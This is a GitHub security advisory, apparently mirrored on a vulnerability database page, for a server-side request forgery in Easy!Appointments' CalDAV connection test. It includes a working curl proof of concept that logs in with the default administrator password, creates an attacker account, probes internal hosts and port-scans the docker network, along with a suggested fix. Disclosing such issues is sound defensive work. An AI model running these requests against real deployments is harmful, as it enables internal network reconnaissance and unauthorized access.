GHSA-PM5P-7W5H-JM5Q
Vulnerability from github – Published: 2026-07-29 16:24 – Updated: 2026-07-29 16:24Summary
Caldav::connect_to_server at application/controllers/Caldav.php:60 hands the request's caldav_url to a Guzzle REPORT call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment's network. The Guzzle exception path returns the upstream status code plus ~120 bytes of response body in the JSON message field (Caldav.php:74-78), so the SSRF is semi-blind.
Preconditions
- Backend login on the target instance. Non-admin attackers supply their own
provider_idand pass the per-row check atCaldav.php:52; admins can target any row. - Default deployment per the project's own
docker-compose.yml, which putsmysql,mailpit,phpmyadmin,baikal,openldap,phpldapadmin, andswagger-uion the same docker network asphp-fpm.
Details
// application/controllers/Caldav.php:45-82
public function connect_to_server(): void
{
try {
$provider_id = request('provider_id');
$user_id = session('user_id');
if (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) {
throw new RuntimeException('You do not have the required permissions for this task.');
}
$caldav_url = request('caldav_url'); // (*) attacker-controlled
$caldav_username = request('caldav_username');
$caldav_password = request('caldav_password');
$this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password); // (*) sink
...
} catch (GuzzleException | InvalidArgumentException $e) {
json_response([
'success' => false,
'message' => $e->getMessage(), // (*) upstream body reflected
]);
}
}
The per-row check at line 52 only constrains which provider record the caller may write to; it does not constrain where the outbound request lands. $caldav_url flows unchanged into Caldav_sync::test_connection at application/libraries/Caldav_sync.php:389, which calls get_http_client to construct a Guzzle client whose base_uri is the attacker URL (Caldav_sync.php:375-382), then issues REPORT against it via fetch_events at Caldav_sync.php:558. The only input check in get_http_client is filter_var($caldav_url, FILTER_VALIDATE_URL) at line 363, which validates the URL grammar - not the host - so loopback, RFC1918, link-local, and arbitrary internal hostnames pass.
When Guzzle raises RequestException, its getMessage() formats as Client error: `REPORT http://target/` resulted in a `405 Method Not Allowed` response: <body truncated to ~120 chars>. Caldav::connect_to_server returns that string verbatim in message. For ConnectException (port closed, DNS failure, TLS handshake error) the message names the host, port, and underlying cURL error number - enough to port-scan the deployment's network.
Proof of concept
Setup
- Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:
bash
git clone https://github.com/alextselegidis/easyappointments
cd easyappointments
git checkout 1.5.2
cp config-sample.php config.php
docker compose up -d
until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done
- Run the console installer. The seed sets administrator's password to the literal string
administrator(application/libraries/Instance.php:99):
bash
docker compose exec -T php-fpm php index.php console install
- Log in as
administrator(the project's session cookie isea_session) and create an attacker provider. The defaultrequire_phone_number=1setting makesphone_numbermandatory:
```bash export ADMIN_JAR=/tmp/admin.cookies curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=administrator" \ --data-urlencode "password=administrator" > /dev/null
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode 'provider[first_name]=Mal' \ --data-urlencode 'provider[last_name]=Lory' \ --data-urlencode 'provider[email]=mallory@x.test' \ --data-urlencode 'provider[phone_number]=+10000000000' \ --data-urlencode 'provider[timezone]=UTC' \ --data-urlencode 'provider[language]=english' \ --data-urlencode 'provider[settings][username]=mallory' \ --data-urlencode 'provider[settings][password]=Attacker-pw-1' \ --data-urlencode 'provider[settings][notifications]=0' export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \ -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'") ```
- Log in as the attacker into a dedicated cookie jar:
bash
export ATTACKER_JAR=/tmp/attacker.cookies
curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode "username=mallory" \
--data-urlencode "password=Attacker-pw-1" > /dev/null
Exploit
- The attacker probes the
nginxcontainer that fronts Easy!Appointments itself, hitting a 404 path. They pass their own$ATTACKER_IDso the row-ownership check atCaldav.php:52succeeds; the URL has nothing to do with the row:
bash
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode "provider_id=$ATTACKER_ID" \
--data-urlencode "caldav_url=http://nginx/some/404/path" \
--data-urlencode "caldav_username=x" \
--data-urlencode "caldav_password=x"
Observed (verified on a fresh docker compose up): {"success":false,"message":"Client error: \REPORT http:\/\/nginx\/some\/404\/path\/` resulted in a `404 Not Found` response:\n\n<!doctype html>\n\n\n \n <meta http-equiv=\"X- (truncated...)\n"}` - the upstream HTTP status and the first chunk of the response body are reflected in the JSON.
- The attacker scans the docker network. Each target produces a distinct exception shape that fingerprints the service. The maintainer can paste the loop verbatim:
bash
for target in mysql:3306 swagger-ui:8080 mailpit:8025 phpmyadmin nonexistent.invalid; do
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
printf '\n=== %s ===\n' "$target"
curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode "provider_id=$ATTACKER_ID" \
--data-urlencode "caldav_url=http://$target/" \
--data-urlencode "caldav_username=x" \
--data-urlencode "caldav_password=x"
done
Observed: mysql:3306 returns cURL error 1: Received HTTP/0.9 when not allowed - port open, not HTTP. swagger-ui:8080 returns Client error: \REPORT http://swagger-ui:8080/` resulted in a `405 Not Allowed` response: \r\n405 Not Allowed...- port open, HTTP, nginx fronts it.mailpit:8025andphpmyadmin(port 80) return{"success":true}- port open, HTTP, the CalDAVREPORTwas accepted without a 4xx.nonexistent.invalidreturnscURL error 6: Could not resolve host`. Each shape lets the attacker enumerate which internal services exist.
Impact
- Confidentiality: Reaches arbitrary HTTP and HTTPS hosts reachable from the
php-fpmcontainer, including loopback, the docker network'smysql,mailpit,phpmyadmin,baikal,openldapservices, and any RFC1918 / link-local IP on the host network. - Confidentiality: Reads up to ~120 bytes of each upstream HTTP response and the exact connection-failure reason via the JSON
messagefield, enough to fingerprint internal services and read short error pages, banners, or status documents.
Suggestions to fix
This has not been tested - it is illustrative only.
Reject non-http/https schemes and resolved private addresses before constructing the Guzzle client.
$caldav_url = request('caldav_url');
+
+ $scheme = parse_url($caldav_url, PHP_URL_SCHEME);
+ $host = parse_url($caldav_url, PHP_URL_HOST) ?: '';
+ $ip = filter_var($host, FILTER_VALIDATE_IP) ?: gethostbyname($host);
+
+ if (!in_array($scheme, ['http', 'https'], true) || $ip === '' || $ip === $host
+ || !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
+ throw new InvalidArgumentException('CalDAV URL is not allowed.');
+ }
+
$caldav_username = request('caldav_username');
$caldav_password = request('caldav_password');
$this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password);
Credit
Dredsen, 2026.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "alextselegidis/easyappointments"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52840"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T16:24:27Z",
"nvd_published_at": "2026-07-14T16:17:00Z",
"severity": "LOW"
},
"details": "### Summary\n\n`Caldav::connect_to_server` at `application/controllers/Caldav.php:60` hands the request\u0027s `caldav_url` to a Guzzle `REPORT` call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment\u0027s network. The Guzzle exception path returns the upstream status code plus ~120 bytes of response body in the JSON `message` field (`Caldav.php:74-78`), so the SSRF is semi-blind.\n\n### Preconditions\n\n- Backend login on the target instance. Non-admin attackers supply their own `provider_id` and pass the per-row check at `Caldav.php:52`; admins can target any row.\n- Default deployment per the project\u0027s own `docker-compose.yml`, which puts `mysql`, `mailpit`, `phpmyadmin`, `baikal`, `openldap`, `phpldapadmin`, and `swagger-ui` on the same docker network as `php-fpm`.\n\n### Details\n\n```php\n// application/controllers/Caldav.php:45-82\npublic function connect_to_server(): void\n{\n try {\n $provider_id = request(\u0027provider_id\u0027);\n $user_id = session(\u0027user_id\u0027);\n\n if (cannot(\u0027edit\u0027, PRIV_USERS) \u0026\u0026 (int) $user_id !== (int) $provider_id) {\n throw new RuntimeException(\u0027You do not have the required permissions for this task.\u0027);\n }\n\n $caldav_url = request(\u0027caldav_url\u0027); // (*) attacker-controlled\n $caldav_username = request(\u0027caldav_username\u0027);\n $caldav_password = request(\u0027caldav_password\u0027);\n\n $this-\u003ecaldav_sync-\u003etest_connection($caldav_url, $caldav_username, $caldav_password); // (*) sink\n ...\n } catch (GuzzleException | InvalidArgumentException $e) {\n json_response([\n \u0027success\u0027 =\u003e false,\n \u0027message\u0027 =\u003e $e-\u003egetMessage(), // (*) upstream body reflected\n ]);\n }\n}\n```\n\nThe per-row check at line 52 only constrains *which provider record* the caller may write to; it does not constrain *where the outbound request lands*. `$caldav_url` flows unchanged into `Caldav_sync::test_connection` at `application/libraries/Caldav_sync.php:389`, which calls `get_http_client` to construct a Guzzle client whose `base_uri` is the attacker URL (`Caldav_sync.php:375-382`), then issues `REPORT` against it via `fetch_events` at `Caldav_sync.php:558`. The only input check in `get_http_client` is `filter_var($caldav_url, FILTER_VALIDATE_URL)` at line 363, which validates the URL grammar - not the host - so loopback, RFC1918, link-local, and arbitrary internal hostnames pass.\n\nWhen Guzzle raises `RequestException`, its `getMessage()` formats as ``Client error: `REPORT http://target/` resulted in a `405 Method Not Allowed` response: \u003cbody truncated to ~120 chars\u003e``. `Caldav::connect_to_server` returns that string verbatim in `message`. For `ConnectException` (port closed, DNS failure, TLS handshake error) the message names the host, port, and underlying cURL error number - enough to port-scan the deployment\u0027s network.\n\n### Proof of concept\n\n**Setup**\n\n1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:\n\n ```bash\n git clone https://github.com/alextselegidis/easyappointments\n cd easyappointments\n git checkout 1.5.2\n cp config-sample.php config.php\n docker compose up -d\n until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done\n ```\n\n2. Run the console installer. The seed sets administrator\u0027s password to the literal string `administrator` (`application/libraries/Instance.php:99`):\n\n ```bash\n docker compose exec -T php-fpm php index.php console install\n ```\n\n3. Log in as `administrator` (the project\u0027s session cookie is `ea_session`) and create an attacker provider. The default `require_phone_number=1` setting makes `phone_number` mandatory:\n\n ```bash\n export ADMIN_JAR=/tmp/admin.cookies\n curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null\n CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ADMIN_JAR)\n curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \\\n --data-urlencode \"csrf_token=$CSRF\" \\\n --data-urlencode \"username=administrator\" \\\n --data-urlencode \"password=administrator\" \u003e /dev/null\n\n CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ADMIN_JAR)\n curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \\\n --data-urlencode \"csrf_token=$CSRF\" \\\n --data-urlencode \u0027provider[first_name]=Mal\u0027 \\\n --data-urlencode \u0027provider[last_name]=Lory\u0027 \\\n --data-urlencode \u0027provider[email]=mallory@x.test\u0027 \\\n --data-urlencode \u0027provider[phone_number]=+10000000000\u0027 \\\n --data-urlencode \u0027provider[timezone]=UTC\u0027 \\\n --data-urlencode \u0027provider[language]=english\u0027 \\\n --data-urlencode \u0027provider[settings][username]=mallory\u0027 \\\n --data-urlencode \u0027provider[settings][password]=Attacker-pw-1\u0027 \\\n --data-urlencode \u0027provider[settings][notifications]=0\u0027\n export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \\\n -e \"SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username=\u0027mallory\u0027\")\n ```\n\n4. Log in as the attacker into a dedicated cookie jar:\n\n ```bash\n export ATTACKER_JAR=/tmp/attacker.cookies\n curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null\n CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ATTACKER_JAR)\n curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \\\n --data-urlencode \"csrf_token=$CSRF\" \\\n --data-urlencode \"username=mallory\" \\\n --data-urlencode \"password=Attacker-pw-1\" \u003e /dev/null\n ```\n\n**Exploit**\n\n1. The attacker probes the `nginx` container that fronts Easy!Appointments itself, hitting a 404 path. They pass their own `$ATTACKER_ID` so the row-ownership check at `Caldav.php:52` succeeds; the URL has nothing to do with the row:\n\n ```bash\n CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ATTACKER_JAR)\n curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \\\n --data-urlencode \"csrf_token=$CSRF\" \\\n --data-urlencode \"provider_id=$ATTACKER_ID\" \\\n --data-urlencode \"caldav_url=http://nginx/some/404/path\" \\\n --data-urlencode \"caldav_username=x\" \\\n --data-urlencode \"caldav_password=x\"\n ```\n\n Observed (verified on a fresh `docker compose up`): `{\"success\":false,\"message\":\"Client error: \\`REPORT http:\\/\\/nginx\\/some\\/404\\/path\\/\\` resulted in a \\`404 Not Found\\` response:\\n\\n\u003c!doctype html\u003e\\n\u003chtml lang=\\\"en\\\" style=\\\"\\n height: 100%;\\n\\\"\u003e\\n\u003chead\u003e\\n \u003cmeta charset=\\\"utf-8\\\"\u003e\\n \u003cmeta http-equiv=\\\"X- (truncated...)\\n\"}` - the upstream HTTP status and the first chunk of the response body are reflected in the JSON.\n\n2. The attacker scans the docker network. Each target produces a distinct exception shape that fingerprints the service. The maintainer can paste the loop verbatim:\n\n ```bash\n for target in mysql:3306 swagger-ui:8080 mailpit:8025 phpmyadmin nonexistent.invalid; do\n CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ATTACKER_JAR)\n printf \u0027\\n=== %s ===\\n\u0027 \"$target\"\n curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \\\n --data-urlencode \"csrf_token=$CSRF\" \\\n --data-urlencode \"provider_id=$ATTACKER_ID\" \\\n --data-urlencode \"caldav_url=http://$target/\" \\\n --data-urlencode \"caldav_username=x\" \\\n --data-urlencode \"caldav_password=x\"\n done\n ```\n\n Observed: `mysql:3306` returns `cURL error 1: Received HTTP/0.9 when not allowed` - port open, not HTTP. `swagger-ui:8080` returns `Client error: \\`REPORT http://swagger-ui:8080/\\` resulted in a \\`405 Not Allowed\\` response: \u003chtml\u003e\\r\\n\u003chead\u003e\u003ctitle\u003e405 Not Allowed\u003c/title\u003e...` - port open, HTTP, nginx fronts it. `mailpit:8025` and `phpmyadmin` (port 80) return `{\"success\":true}` - port open, HTTP, the CalDAV `REPORT` was accepted without a 4xx. `nonexistent.invalid` returns `cURL error 6: Could not resolve host`. Each shape lets the attacker enumerate which internal services exist.\n\n### Impact\n\n- **Confidentiality:** Reaches arbitrary HTTP and HTTPS hosts reachable from the `php-fpm` container, including loopback, the docker network\u0027s `mysql`, `mailpit`, `phpmyadmin`, `baikal`, `openldap` services, and any RFC1918 / link-local IP on the host network.\n- **Confidentiality:** Reads up to ~120 bytes of each upstream HTTP response and the exact connection-failure reason via the JSON `message` field, enough to fingerprint internal services and read short error pages, banners, or status documents.\n\n### Suggestions to fix\n\n\u003e _This has not been tested - it is illustrative only._\n\nReject non-`http`/`https` schemes and resolved private addresses before constructing the Guzzle client.\n\n```diff\n $caldav_url = request(\u0027caldav_url\u0027);\n+\n+ $scheme = parse_url($caldav_url, PHP_URL_SCHEME);\n+ $host = parse_url($caldav_url, PHP_URL_HOST) ?: \u0027\u0027;\n+ $ip = filter_var($host, FILTER_VALIDATE_IP) ?: gethostbyname($host);\n+\n+ if (!in_array($scheme, [\u0027http\u0027, \u0027https\u0027], true) || $ip === \u0027\u0027 || $ip === $host\n+ || !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n+ throw new InvalidArgumentException(\u0027CalDAV URL is not allowed.\u0027);\n+ }\n+\n $caldav_username = request(\u0027caldav_username\u0027);\n $caldav_password = request(\u0027caldav_password\u0027);\n\n $this-\u003ecaldav_sync-\u003etest_connection($caldav_url, $caldav_username, $caldav_password);\n```\n\n### Credit\n\nDredsen, 2026.",
"id": "GHSA-pm5p-7w5h-jm5q",
"modified": "2026-07-29T16:24:28Z",
"published": "2026-07-29T16:24:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-pm5p-7w5h-jm5q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52840"
},
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/commit/2da2baed18ec32ad7916e507815709c8f010d510"
},
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/commit/4abb10545d83ac1a57d03f6502376ee67696ea7c"
},
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/commit/6b34b78c47790dfd1dec27cf62926db51be276e9"
},
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/commit/6eb9336a91cfb276379506625e81f5bd9ed3a536"
},
{
"type": "PACKAGE",
"url": "https://github.com/alextselegidis/easyappointments"
},
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment\u0027s internal network"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.